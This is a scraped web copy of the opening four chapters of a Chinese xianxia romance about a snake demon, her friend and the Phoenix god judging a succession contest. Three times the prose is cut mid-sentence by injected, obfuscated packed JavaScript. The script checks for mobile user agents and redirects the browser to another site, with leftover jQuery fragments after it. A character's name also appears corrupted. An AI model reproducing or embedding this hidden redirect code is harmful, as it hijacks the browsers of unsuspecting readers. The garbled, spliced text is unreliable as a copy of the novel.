《死遁后她身陷修罗场》 1. 第1章 水月镜内,一明艳少女与少年并肩坐在大树下,背对着傅玄,两人与傅玄距离很远,但神识铺开,他依旧能轻而易举听清他们的谈话。 只听那少年劝道:“……别的蛇都在嘲笑你呢,不然就算了吧?” 他说话时微微转过头,傅玄看见他脸上四官都很俊俏,唯有一个鼻孔朝天的猪鼻子在中间毁了气韵,显得他整张脸都十分滑稽可笑。 明艳少女却似乎并不在意少年的那只猪鼻子,她亲昵地点了点他的鼻尖,说道:“我再试试,实在不行就算了,眼下还没到那个地步嘛。” 下一刻镜中景色变幻,少女怀抱着奄奄一息的少年,青丝染血,仰天哭嚎,满是悲戚与痛悔:“我放弃了,玉京子,我早该放弃的——你坚持住,我带你走,我们走得远远的,再也不回来了——” 思绪似乎变得格外迟缓,傅玄有些茫然地心想,这女子要放弃什么?还有,为什么他一听到这些话,心里就疼得快要滴血? 镜中少女缓缓转向他,傅玄终于看清了她的模样,她眼角有一颗泪痣,棕色的水眸温暖多情,望向他最后的那一眼却是冰冷而决绝。 于是他想起来了,她放弃的是他。 她不要他了。 蛇妖花清浅,放弃了凤凰神君傅玄,情思尽斩,她不再喜欢他。 失落,绝望,万念俱灰,心神俱灭,即便是在梦里也引发了磅礴的神力激荡,山巢内神器开始震颤,有什么东西摔落在地,发出“啪”的一声响。 傅玄睁开眼。 他习惯性地抹去眼角湿痕,垂眸抬手,将碎了一地的水月镜复原如初。 - 刚下过雨,蛇谷这日天朗气清。 山谷间大片草木连绵不断,在西面最明秀的一块山地里,有一大片平整的青石,铺着许多草垫,上边窝着一条极为漂亮的小花蛇。 她肚皮雪白,体态纤细,背部褐蓝色花纹绮丽妩媚,在青石上盘做一团,自成一幅活色生香的艳蛇图。 “清浅!清浅救命!”咋呼的声音从远处传来,似是有谁正朝这边飞奔,引得草叶簌簌。 花清浅就知道,她这午觉是睡不成了。小花蛇颇为怨念地睁开眼睛,立起上半身,朝发出声响的那处看去。 ——果然,又是玉京子在被其他蛇追着打。 在蛇谷年轻一代中,花清浅和玉京子两蛇很不受其他小蛇待见。 众蛇讨厌花清浅原因还比较复杂,讨厌玉京子却很好解释:他是条猪鼻蛇,化作人形时丑陋硕大的猪鼻子也消不下去,看上去就像猪妖化形,很是伤蛇眼睛。 由于花清浅立起了上身,玉京子一眼就发现了她的位置,当下松了口气,嗖地一下飞速蹿到她身后。 “丑猪,你躲在母蛇身后算什么本事,能不能有点出息?”追在他后边的巨蟒被花清浅的结界拦住,愤愤地吐出信子:“你出来,咱们獠牙对獠牙,狠狠/碰一场!” 这条巨蟒叫做单方寸,因为他爹是族中长老,平日里给他喂养得极好,导致他蛇身有人腿那么粗,最细的蛇尾也可一尾绞断青牛骨。 花清浅从小与其他蛇族摩擦甚多,但与单方寸还没结过梁子,他们隔得远,两方一直井水不犯河水。玉京子怎么就招惹上了他? 她凝神思索着,伸尾护住玉京子,对单方寸开口问道:“他怎么惹你了?” “他、他骂我没有脑子。”单方寸刚被她看一眼就红了脸,蛇首偏向一边,粗大的身躯不得章法地扭来扭去:“抱歉啊花少君,我知道你忙着竞争少主,真没想打扰你的,只是这玉京子实在是……长得丑,嘴又贱……” 玉京子被气得嗷嗷叫:“你!你说谁长得丑?!清浅,他侮辱我,你快帮我打他!” “你为何要骂人家没脑子?”花清浅蛇尾敲了下他脑门。 “他觊觎你,还骂我丑,我就是回骂他两句而已!”她没收力,细细的蛇尾打在脑袋上怪疼的,玉京子委屈地捂住脑门,“清浅,你居然为了他打我。” “你又怎知他觊觎我?” “我没——”单方寸急着要辩解,被花清浅尾巴在空中虚虚一点,顿时听话止住了口。 玉京子揉着脑袋,老实回答:“我、我吃午饭时听到的。” 他方才追着一只田鼠去了南谷,想必那就是他的午饭。南谷向来是蛇王盘踞之地,花清浅脑中已经将事情琢磨了个八九分:“得了,你还骂人家没脑子,自己分明被耍得团团转。” 她蛇尾往后一指,示意让玉京子往后稍稍,自己对上平白无故挨了顿骂的单方寸。 为了与高壮的蟒蛇平视,她心念微动,周身灵光乍起,原地变做人形。 蛇尾化作细长的双腿,微风拂过,她一袭白衣似霜如雪,后缀褐蓝色花纹的披风,下巴尖俏,右眼眼下有一颗小小的泪痣,更添几分妖冶,水蛇腰盈盈一握,美得摄魄勾魂。 她还没开口,就听单方寸抢先说道:“我晓得了,花少君是、是个明理的,少君的朋友也不会是无礼之徒,这其中必有误会……少君还要准备少主比试,我就不打扰了,这次的事就作罢吧。” 不用她费口舌自然更好,花清浅见他这么知趣,勾起唇角冲他一笑,抓了玉京子的脖子叫他好好道歉,温柔地目送单方寸走远。 “他分明就是觊觎你。”直到蟒蛇的背影消失不见,花清浅松开玉京子的脖子,他这才不服气地出声,“你有没有瞧见刚才他看你的眼神?他就差没把你生吞了!” 亏他还骂那单方寸有力无脑,难道他就很有脑子么?花清浅忍不住又在他脑袋上敲了一下:“单方寸之前都没怎么来过西谷,与我有过几次接触,怎么会觊觎我?今日他分明是第一次看我化形!” “啊?可是我听蛇王那些蛇说——” “你傻不傻,他们就是要挑拨你去惹他!” 花清浅从小与玉京子相依为命,两蛇好得能同蜕一条皮,蛇谷里无蛇不知。玉京子与单方寸对上,又打他不过,便只能来找花清浅救命。 如今少主比试在即,蛇王一伙打的主意,便是让花清浅与单方寸大战一场、受些重伤,无缘少主之位。 却没想到蛇算不如天算,单方寸看着凶恶,性情却着实好哄,最后竟没打起来。 听完她的解释,玉京子皱起眉:“这次请来主持少主选拔的可是凤凰神君,蛇王怎么还敢打这么下作的算盘?” “少主选拔是明日,神君还没来呢。再说了,就算他来了能如何?我们又没有实打实的证据。” “神君和你关系那么好,还需要证据才能定罪?” 这话说的,花清浅又想敲他脑袋,被他眼疾手快用尾巴卷住指尖。 她没好气地抽回手:“神君和我有什么关系,他才不会偏袒我。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13068721|137881||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “那你还成天跟在人家屁股后面跑。” “我乐意,怎么着?我就是想做他的道侣,又不是想叫他一定要偏袒我。” “嗯嗯,都做道侣了,他不偏袒你,偏袒谁去?我假装听不出你的算盘。” “玉京子!你胆肥了是不是……” - 翌日,少主选拔仪式。 蛇族上有一王统领全族,下设四君八长老辅佐蛇王,少主则是下一任的蛇王。少主选拔仿照凡人尧舜禅让制,从四君八长老推举的人选中择优而出。 自蛇族归附仙界以来,每届少主选拔仪式都要请一位仙尊或神尊主持监督,本届格外有幸,居然一请就请到了凤凰神君。 凤凰神君乃是上古存活至今的唯一真神,相传他修得真正的长生之术,同时期的应龙、赤狐乃至创世人神都已陨落,唯独他还在世间屹立不倒。 论地位,凤凰神君可算是八十一重天至高无上的神尊,论公正,凤凰神君也从来不徇私情。让他来选拔少主,蛇族全族上下都受宠若惊,不会对他的决定质疑半个字。 梧桐火炬点燃,昭示着凤凰神君马上就会抵达,高台上列着一字排开的十二位少主备选,花清浅站在末尾,对台下众蛇的窃窃私语声听得最清。 “哎,不管怎样,花少君长得还是漂亮。看看那双媚眼,比狐狸还会勾人,不愧是香染蛇君的女儿。” “漂亮有什么用?她可千万别学她娘,堂堂四君之一,为了一个外族舍身而去,遇难了就把蛋撇在族里……” “就是,花清浅本该被逐出族的,能留下全是我们心善。” “还能在一百岁时袭承少君,全凭蛇王仁慈。”有条蛇说着说着,忍不住笑了起来:“没想到她还蹬鼻子上脸,仗着她是少君,自己推举自己,想争得少主之位!真是脸皮忒厚,不知羞——” 话音未落,只听天边一声清鸣,凤凰神君来了,先前说闲话的蛇连忙闭紧了嘴。 台上的花清浅也赶紧低下头去,收敛心神,只拿余光瞥见天边那抹金红色的耀眼身影。 与鸟身华丽的羽毛不同,凤凰神君化作人形时,发饰和衣裳皆十分素朴。玉簪墨袍,没有多余的花纹,明明本质是只驭火的鸟,气场却清冷得很,一双瞳眸冰寒淡漠,就算是不论礼节,也没几个妖敢抬头与他对视。 花清浅第一次见到他的时候,只觉他眉眼实在好看,后来才逐渐察觉他眼中的冷,或许得悟大道的神仙都是如此,万事疏淡,绝不动情,就像上古燃至今日而不灭的一团冰焰。 她思绪飘远了一瞬,听蛇王毕恭毕敬地举着备选少主的名单,高过头顶,呈到凤凰神君面前:“请神君过目。” 本届少主人选里,不光有花清浅一个引人瞩目,还有一个蛇王的亲妹妹,丹梁。 从蛇族建族以来,还没有出过自己推举自己、竞争少主的少君,也没有立过与现任蛇王同出一窝的少主。 可与此同时,花清浅与丹梁都是年轻一代中的佼佼者,从修为来看,竞争少主也不能把她们两位排除在外。 两名全族瞩目的少主备选,在第一轮的比试中并未碰上。凤凰神君检查过名单无误,随即轻轻挥袖,将第一轮比试的蛇名投到空中。 “开始吧。”他淡淡道,目光依次掠过台上十二名少主备选,并没有在末尾那抹窈窕倩影上多停留那么一刻。 2. 第2章 第一轮单纯比试体术,不能动用灵力。 各位少主备选纷纷唤出兵刃,朝对手严阵以待。 花清浅召出的是一根石棍,看着平平无奇,材质跟蛇谷遍地的青石一个水平,做工还很粗糙,像是昨夜连夜削出来的。 她对上的蛇是竹林客,竹叶青长老的公子,他一面从身后抽出一把长刀,一面嘲笑道:“花清浅,你这棍子莫不是从蛇谷就地取材吧?” “是又如何。”花清浅戒备地伏低上身,她知道竹林客出招阴毒,时刻防备着他偷袭,“毕竟我又没什么厉害的爹娘,能给宝贝好大儿找来长晖刀这样省力的法器。” 本场比试不能动用灵力,但可以在兵器上钻空子,譬如这把长晖刀就是由九天晴铁制成,分外轻便,攻击性也远胜一般法器。听她这般出言讽刺,竹林客恼羞成怒,双手抓住长刀抡起,从斜上方狠狠劈向她那张嘴。 花清浅向前闪身,反手用石棍一挡,长刀与石棍相接,发出一声短促的嗡鸣。不愧是长晖刀,只一击她手腕就酸麻得厉害,忙持石棍飞速退避。 她仗着身形轻灵,水蛇一般在空中左右来回飞动,石棍死死缠绕住竹林客的长晖刀,却并不与之相交,趁他没了耐性、伸刀砍来时以棍支地,双腿凌空朝他身上踢去。 眨眼之间,原地只剩一根棍子,竹林客向前砍了个空,同时自个门户大开,腰侧挨了一记踏踏实实的飞踢,还没反应过来,整个人就像断线风筝一般飞了出去,重重摔在十几步之外。 此刻离比试开始还不足一柱香,花清浅成了整场第一位获胜者。蛇□□虺叹了口气,向凤凰神君象征性地介绍了几句:“清浅体术不错,这竹林客······的确是敌她不过。” 傅玄看向已分胜负的两蛇,那条落败的青蛇用长晖刀支撑起身体,在花清浅走近时忽然喷出一口毒液,却被她早有准备地举棍成伞挡了下来。 她放下石伞,微微一笑,傅玄正要出言阻止,却已来不及,只见下一刻石伞前端化成一柄短刃,稳稳地插进那青蛇的前胸! 青蛇痛得大叫一声,倒在地上晕了过去。他娘亲竹叶青顾不得别的,忙飞身上台给他输送灵力护体,台下一片哗然,一切发生在电光石火间,蛇□□虺也没看清楚怎么回事,皱着眉道:“花清浅,你做了什么?!” “尊上明鉴,我什么都没做啊。”花清浅无辜地眨眨眼,嗓音娇软,“这竹林客不服比试结果,要下毒杀人,我只是拿兵刃挡了一下,谁曾想他自己撞了上来······” “你胡说!”竹叶青震怒,“我儿妖丹都险些碎了,你就是故意的,我再上来晚一些,恐怕就要给我儿收尸了!” 花清浅转了转石伞,上边沾着的毒液顺着伞边滴落,就滴在竹叶青的面前。 “我胡说?竹长老仔细看看,这毒液是不是你家竹林客的。” 竹叶青不理会她,只捂着竹林客的伤,求蛇王给一个公道。 丹虺沉吟片刻,看向上方的凤凰神君:“此次比试既然由神君主持,那此事也由神君做主处置罢。” 亏他还是一族之王,碰上事了竟只会一味推卸。花清浅面上恭敬地垂下头,心道日后等她当了蛇王,一定不会像丹虺这样窝囊。 傅玄看向青蛇母子,眸色转冷:“青蛇竹林客体术落败,又行偷袭,品行无端,非王者之风。罚其终生不得参选少主。” 哈哈,活该,那个小人应得的。花清浅喜上眉梢,觉得这下没自己事了,转身就要下台。 “花清浅。”却听身后傅玄接着说道,“重伤同族,出手狠戾,也未见良善之心。念你是求自保,事出有因,准你参加第二轮比试,但进入幻境需比他人推迟十日。” 第二轮比试是在幻境中找寻蛇族秘宝,幻境本就不大,往届比试六七日便可分得胜负。让她推迟十日再进幻境,那不就跟让她弃权一样? 错过了这次少主大选,下次还不知道要等到什么时候! 花清浅不甘心地握紧石伞:“可是——” “你对神君的决定有异议?”蛇王眉头皱紧看向她。 此时丹梁击败对手,成为本场第二个优胜者。她没有急着下台,专门从花清浅这边绕了一圈,悄声嘲讽道:“怎么,凤凰神君可是你最心爱的神君,他的话你都不听啦?” 花清浅正心烦意乱,不想与她斗嘴,只抬起水眸瞪了她一眼,叫她快滚。 “你冲我抛什么媚眼?别卖弄风骚了,长得再好看又怎样,你就是朝神君卖一百个笑,人家也看不上你。”丹梁幸灾乐祸地吐出信子,“被心上人当众呵斥的滋味如何,好不好受啊?” 这话倒是点醒了花清浅:在场每条蛇都晓得她喜欢神君,恐怕多数蛇都跟丹梁一样想当然,认为眼下她这是在撒泼打滚,想要神君偏爱。 群蛇误会她也罢了,可神君如今分明没有偏爱她,万一竹长老从中作梗,叫大家以为凤凰神君当真偏私,那还得了? 现在认输,丢面子的是她一蛇,再闹下去,凤凰神君的名声也要被她拖累。 念及此,她连垂死挣扎的心思都没了,认命道:“······我没有异议。” 她避开丹梁嘲弄的视线,灰溜溜下了台。如她所料,台下蛇群里嘲笑她的声音更大,还好有玉京子掩护,两蛇化作原形,从高台下飞快逃离。 遮天蔽日的榕树下,为了叫花清浅靠得更舒服些,玉京子化作人形,与她并肩坐在一条凸起的树根上。两人静默许久,他扭头看了眼花清浅的脸色,小声开口。 “我知道你喜欢凤凰神君,但刚才你也看到了,他不但不偏袒你,反而对你罚得更过分些······以前神君主持鸟族大选,也有打架重伤的,他都没有罚得这么狠过。” 花清浅知道他说的是真话,这些资料还是她搜集来的,那时她刚喜欢上神君,听他多么冷酷的事迹都觉得迷人。 她笑了笑:“你想说他讨厌我,所以假公济私,罚我罚得更狠?” “那不至于。只是他到现在都对你无动于衷,只有你对他一往情深……这么久了,别的蛇都在嘲笑你呢,不然就算了吧?” 花清浅抬头,对上他担忧的目光,心里一暖。 这世上还是有人偏袒她的,她一面想道,一面点了点他的猪鼻子,语气轻快起来:“我再试试,实在不行就算了,眼下还没到那个地步嘛。” 高台剩下几组比试都已完毕,傅玄将胜者名册公布于众,眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13068722|137881||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 见今日再无公务,蛇王趁机殷勤邀他品尝蛇谷特产果酿,与此同时,花清浅那句“算了”落入他耳中。 从前她对他一往直前,不管多少人劝都从未退缩过,现在她却开始考虑起“算了”。 看来她执念已消,傅玄一时手足无措,再没有闲心搭理蛇王,一言不发扬长而去。 水月镜中的画面停留在这一刻。 流逝的时间在整个山巢内强行静止,此等禁术所消耗的神力浩瀚无垠,顷刻间足以耗死任何上神。 但很可惜,耗不死这世间唯一永生的凤凰。 汹涌的神力倒灌进镜,水月镜里一幕幕奇迹般回溯,落叶归枝,溪水倒流,这次傅玄在比试结束后没有离开,他在榕树下找到花清浅,沙哑着嗓子出声。 “我没有对你无动于衷。” “我只是——” - 慕城,夜色静谧,花清浅猛然张开眼睛。 “又做噩梦,烦死了。”她小声嘟囔道。自从离开蛇族以后,她老是梦起以前的事,许多细节还跟记忆中的不一样,简直是撞了邪了。 就比如今夜这个梦,当年第一轮少主比试后,她与玉京子促膝长谈,她明明记得当时没有别人打扰,他们谈得很痛快,最后还喝起了酒,两蛇醉醺醺抱头睡下; 梦中,傅玄这个不速之客却忽然冒了出来,跟背后灵一样,抱住她就开始说一些奇奇怪怪的话。具体说了什么,醒来后她只记得一句“没有对你无动于衷,我只是”,只是后面什么来着,她就记不清了。 不过,他到底说了什么,也不是很重要了。 花清浅使劲晃晃脑袋,把傅玄那张俊脸晃出去。 心知也再睡不着了,她起身看了眼窗外的天色,离天亮还早。凝神静听了一会,深夜万籁俱寂,隔壁屋里也没有传来鼾声,她心里一紧,忙闪身来到隔壁床前。 还好,床上还有人,她松了口气。 “玉京子。”她轻轻唤了一声,“你怎么醒啦?” 床上的少年闻言抬起头。 少年其实不叫玉京子,他本是慕城山郊一条猪鼻蛇,刚刚生出灵智,还没来得及取名字。某日他吃浆果吃醉了,在回窝的路上撞碎了一块坚硬的石头,他醉得昏昏沉沉,也没当回事,醒来时却已被眼前这条漂亮蛇妖找上了门来。 漂亮蛇妖用很奇怪的怀念眼神盯着他,说道:“我是花清浅。玉京子,好久不见。” 原来他先前撞碎的那石头竟是一块魂片,他不仅把魂片给撞碎了,还给全数吸收了。花清浅说,他能吸收魂片,就说明他是魂片原主的转世,不由分说就把他留在了身边,还执着地叫他“玉京子”。 玉京子灵智生出不久,脑子还很简单,他不知道转世是什么意思,只知道花清浅法力不低,对他很好——她给他吃喝,还费了大力气精修变形术,给他弄了个好看的鼻子,如今他的人形俊得要命。 玉京子是条识时务、图安逸的蛇,既然花清浅对他这么好,他也就懒得追究其他的事,只专心享受她对他的好。 这会听见花清浅问话,他有些不好意思地摸摸鼻子,实话实说:“……我晚上吃肉吃得太多,肚子里有点撑,刚才打嗝打醒了。” 3. 第3章 花清浅有点无奈,叹了口气:以前在蛇谷,也没见玉京子这么爱吃啊。 准确来说,那时贪吃的是她。 每年秋季挂果,她都会吃陨雾浆果吃到牙疼,玉京子往往一面抱怨她不长记性,一面帮她去寻止痛的草叶,而她却只记得往神君跟前凑,趁着牙疼撒娇,缠着要他帮忙揉脸。 一开始神君自然不上她的当,几道灵力打进她体内,不但帮她止了痛,还直接把她从八十一重天送回了蛇谷。但是后来,或许是她骗术精进,神君的态度越来越温和,她打滚要他揉脸,他便当真上手捧住她的腮帮。 初出茅庐的小花蛇,看什么都能自作多情。 娘亲留下的神牌将她带到八十一重天,恰巧落在凤凰神君的神宫门前,她就觉得他与自己有缘; 神君不计较她屡次冒犯,收下她编的草环,她就觉得攻略大计已成了一半; 如今九天冷月般高高在上、不染凡尘的神尊,肯叫她一介蛇妖趴在膝头耍赖,还肯为她那么轻柔地治牙——说句大言不惭的,花清浅连他们今后要生几颗蛋都想好了。 即使世人皆知,神君并无私情,她也觉得神君在心底里是喜欢她的。他现在口是心非,只是因为她实在太低微、太渺小,配不上他的神君身份。 假如她足够努力、足够优秀,追求神君足够锲而不舍,总有一日,他会承认喜欢上她,答应与她生蛋,给她独一份的偏爱。 她就是这么自作多情。 毕竟花清浅年轻得很,年轻小蛇哪管什么大道无情、天高地厚?就算神君亲口说过,在他眼里,她与芸芸众生没什么不同,她也觉得他在嘴硬,心里还是软的。 然而后来,玉京子因她被蛇王害死,她要报仇,神君不许。日月潭中显现未来幻象,若她执意手刃蛇王等众,神君会毫不犹豫按律降罚,亲手将她抽骨剖丹。 那时她已经熄了与他长厢厮守、生一窝蛋的妄念,却仍不敢信他能如此绝情,即使日月潭从未出过错。 紧接着上古邪魔缇阎解封,魔物大举来袭,她与仙界神器同时危在旦夕,傅玄看她一眼,果断飞身护住了神器。 直到那一刻,花清浅才晓得,没有私情就是没有私情,她不慎爱过的这位凤凰神君,当真心硬如铁。 如此说来,她若执意要杀蛇王,他真的不会对她手软。 认清了现实,花清浅没有伤春悲秋、自暴自弃,恰恰相反,彻底死心之后,她脑子变得十分灵光,忽然想到一个借刀杀人、功成身退的妙计。 说是妙计,其实也不大妙,她假死在他怀中,死是假的,但疼是真的,还浪费了那么多真凤凰泪,唉,想想都造孽。 - 如今执念已消,回首过往,才看得清当年有多蠢。 凤凰神君是那样好的一个神仙,她是哪根筋搭错了,非要跟人家结为道侣、生一窝蛋? 神君是用来供奉、用来求助、用来崇拜的,绝不是用来求偶的。她满脑子情情爱爱没处搁,爱妖、爱人、爱寻常鸟都可以,为什么非得拣着不合适的对象强求呢? 既让自己卑微到了尘埃里,也给人家神君添了那么多麻烦,损人不利己,结果有多苦都是她该受的。 不过,吃一堑长一智,花清浅在凤凰神君那处吃足了教训,接下来便没再犯过类似的错误。 从蛇谷出来后,她依旧会求偶,依旧会捧出一颗真心,依旧会全心全意地爱一个人。但见情况不妙,她该溜就溜,拿得起放得下,再没有把自己搞得那般伤心狼狈过。 花清浅抹了把眼角,若无其事在玉京子床前坐下,让他化成原形,把肚皮伸出来。 “这慕城山郊没什么好吃的,这几年可把你饿着了,是不是?”她将一道柔和的灵力注入猪鼻蛇的蛇身,看见他的尾巴舒服地一甩一甩,扬起一个浅淡的微笑:“你放心,我这几年术法精进,很有本事。你跟着我,不会挨饿的。” 她不是第一次用这种熟稔的语气跟他说话,玉京子听不太懂,也不想听懂,都是左耳进右耳出。但或许是今夜月色太好,他破天荒对这个“玉京子”的过去产生了好奇。 “你怎么对我这么好?”他靠在她身上问,“你们以前······我是说,我们以前到底是什么关系,你是我娘吗?” 花清浅噗嗤笑出了声。 “我不是你娘。你非要这么说的话,咱们是相依为命,互为娘亲。” 蛇谷里,无父无母的蛇蛋不少,其中花清浅和玉京子比较特别,因为花清浅纯白的蛋壳很好认,一看就知道她娘亲是香染蛇君;而玉京子一生下来就有个丑鼻子,喝水时没人看着能把自己淹死,一看就是个傻子。 香染蛇君不在蛇群,但蛇群里依旧有她的传说,碍于身份,明面上没有蛇为难花清浅,给她下绊子都是阴着来。 可玉京子就不同了,他生来有些笨笨的,法力低微,长得也丑,小坏蛇们都肆无忌惮地欺负他。一次他把尾巴盘在枝头,学着自己喝水,就有蛇偷偷把他的尾巴解开,他蛇头朝下,“咕咚”一声栽进了小溪里。 花清浅看不过去,将他救了上来,两蛇从此相依为命,还给彼此取了名字。 “原来这个名字是你取的?”玉京子在心里把这三个字默念几遍,“真好听。” 花清浅有些骄傲:“咱们的名字都是从诗里面选的,当时蛇谷里除了我们,没有别的小蛇学诗,只有咱们俩的名字最好听。” 有花清浅护着,再没有蛇敢光明正大给玉京子难堪,日子好过了不少,直到花清浅百岁那年。 “那时我跟丹梁关系不错——就是蛇□□虺的妹妹,记得吗?你还暗恋过人家呢。”玉京子茫然地摇摇头,花清浅眼神暗了一瞬,继续往下说: “那日你不知忙什么去了,我跟丹梁在一起吃烤羊,某刻胸前忽然多了块神牌,就是这个。” 她正穿着凡人所制的丝绸中衣,说到此处稍微扯开衣领,从贴肤处取出一块约有半个巴掌大小的玉牌。玉京子依言凑近看了看,这玉牌大略是个长方形,四角圆润,中间浅凹,边缘处刻着一圈古朴的花纹,颜色暗青,看上去就是片普通玉石。 “当时这玉牌发着光,我还没反应过来,就被它带到了八十一重天。” 玉京子倒抽一口冷气:“天上?那可是神仙住的地方!你居然去过天上, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13068723|137881||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有没有碰见哪位仙君啊?” 仙君没有,神君倒是有一位。 神牌将她带到了某座天宫门前,那门却无论如何也推不开,花清浅只好小心翼翼敲了敲门——之后她才晓得,那座天宫就是傅玄的神宫,名为重明宫,宫墙设有秘术,非上古真神不可进,自同时期神明陨落以来,宫里就只有凤凰一人。 八十一重天之上,没有不懂规矩的生灵,就算是天尊也不敢随意叩响重明宫的大门,因此神君开门时眸里还带着几分诧异。 门外探头探脑的小花蛇,第一次看见玉簪墨袍的天人,觉得他真好看,惊艳得心跳都漏了一拍。 这种丢人的事,花清浅不想多提,只接着道:“天上冷清得很,我找到路便赶紧回了蛇谷。丹梁问我去了哪里,我如实说了,她觉得这块神牌大有来历,便拉着我去问蛇族长老。” 东谷长老说,他以前在香染蛇君身上见过这块玉牌。这玉牌除了能让人直通神界,似乎还另藏有一种极高深的术法,但那术法究竟是什么,他也不清楚。 多年来,香染蛇君不知所踪,对蛇族没有丝毫贡献,却独独给花清浅留下了法力莫测的玉牌。因此,小蛇们对她满是嫉妒与忿恨,花清浅彻底被孤立,与丹梁也渐渐疏远了。 而以青蛇一脉为首的蛇则更进一步,直指香染不配为蛇君,要花清浅把少君的位子让出来。 最后是蛇□□虺坚持祖制,力排众议,将花清浅扶上了少君位。 玉京子感慨道:“这蛇王倒还是条好蛇。” 花清浅秀眉微挑,带了点讽刺:“他可没那么好心,扶我上位是有条件的。不管怎样,我上位成为少君,获西谷封地,之后你我二人想吃肉就吃,想喝果子酿就喝,很是逍遥快活。” 听到最后一句,玉京子果然笑了起来,看样子对这段过往分外满意。花清浅看着他,也露出点浅浅的笑意。 ——其实她漏了段没说,搬进西谷后,他们也不是一味逍遥,还是做了许多正经事的。 西谷遍地石材,玉京子灵力低微,却擅做机关,自己研究着做了许多兵器; 花清浅比他更忙,她那时对傅玄再见倾心,深知一介卑贱蛇妖配不上神君,甚至连他的神宫大门都进不去,便没日没夜地打坐、吐纳灵气,以前所未有的高涨热情投入到修炼中。 因为神君一句“你持有神牌,或许是应龙血脉”,她甚至给自己定下了百年化龙的目标,即争取在二百岁时化为应龙,有资格攀上天宫,向神君正式求亲。 要知道,古往今来能化龙的蛇超不过三条,于这一代的小蛇而言,化龙仅仅是个幻梦般的传说。 但花清浅就是信心满满,不知道哪里来的底气,她总觉得化龙之后,神君就会对她另眼相待,说不定也会答应她的求偶。 回到眼下,花清浅望向泛起鱼肚白的天边,叹了一声:唉,那时她真是身陷迷障,蠢得要命。 别说她这么多年还没化蛟,就算是化了龙,神君恐怕也只会更烦她死缠烂打。 蛇妖花清浅一百岁时遇到凤凰神君,一百五十岁在他面前神魂寂灭,竟敢打扰神尊足足五十年,说来实在抱歉。 4. 第4章 或许是前夜睡得不足,到中午时花清浅就困了。她给了玉京子一吊钱,叫他去酒楼拎菜回来吃,自己预备在软榻上小眯一会,却没想到又坠入了冗长的梦境。 这梦还和昨晚的连起来了,上次刚梦到第一轮比试结束,这回就到了第二轮比试,幻境寻宝。 本届幻境超乎寻常的大,其他少主备选们破机关、斗异兽就用了十多日,花清浅晚了十日进去,危险复杂的阵法正好都被废了,她捡了好大便宜,居然一路畅通无阻,最先发现了秘宝线索。 根据线索,花清浅来到安置秘宝的山洞内,打开宝盒,里面放着一颗约有鸽子蛋大小、红得发亮的圆珠,她一眼就认出来,这是蛇王家传的圣物天险珠。 花清浅是水蛇,天险珠却是火珠,与她体质相悖。第二轮比试的要求是要拿到秘宝,可她若是真的“拿到”天险珠,立刻就会被它的火气灼伤,损失修为。 蛇王针对她这心思是藏都不带藏了,她将手空悬在宝盒上方,犹豫了片刻,忽然听到后面有动静传来,似是有另外的备选找到了山洞。 情急之下,她只能咬牙使出水系术法,随着指尖拨动,一圈水膜将天险珠套了起来,落入她的掌心,却并没有与她手心相触。 “我拿到秘宝了!”花清浅闪身出了秘境,瞬移至高台,手心呈出天险珠,朝上方的蛇□□虺一扬眉,“请尊上过目,这天险珠就是本次秘宝,没错吧?” 丹虺眉眼沉沉地盯着她。小花蛇一袭水蓝衣裙,眉目灼灼立在高台上,她生得一副漂亮柔弱的皮相,骨子里却有主意得很,即使从小到大被群蛇有意无意地排斥孤立,长到如今也没丢了傲气。 有时候他看着她,恍惚都能看到几分自己年轻时的样子。 都是那么自以为是,赌起气来哪管什么大局,别人不要她做什么,她就偏要做什么。 她乖乖等了十日才进幻境,对少主之位未必那么执着,但一看见他放的天险珠,八成就又被激起了斗志。 蛇□□虺站起身,还没来得及说话,就见丹梁紧接着在高台上现身,指着花清浅破口大骂:“你卑鄙,幻境里的阵法你一道都没破过,怎么有脸拿秘宝的!” “规矩如此,你这么气急败坏做什么。”花清浅故意娇滴滴地夹细嗓子恶心她,“姐姐莫生气嘛,气坏了身子要变丑的哦。” “你!” 花清浅看向丹虺,恢复了正常声音:“尊上,令妹当众侮辱未来少主,该当何罪啊?” 台下那么多蛇看着,丹虺对丹梁做了个下压的手势,示意她别闹事。今日花清浅拼着被灼伤也要拿住天险珠,修为一定大损,少主这个名头又是花架子,就算给了她又能怎样? 权宜之计而已,就让她先被众蛇集火,到时找个修为低下的理由就能把她换了。 他不怒反笑,说道:“那就恭喜花少君了。本尊在此宣布,第二轮比试胜者是花蛇清浅,请神君傅玄、台下诸蛇一同见证,即日起封其为少主,掌蛇王分令——” 花清浅扬着下巴等他说完,心里已经盘算好了仇人名单。这些年但凡非议过香染蛇君的蛇,有一条算一条,都别想在她这个少主手底下好过。 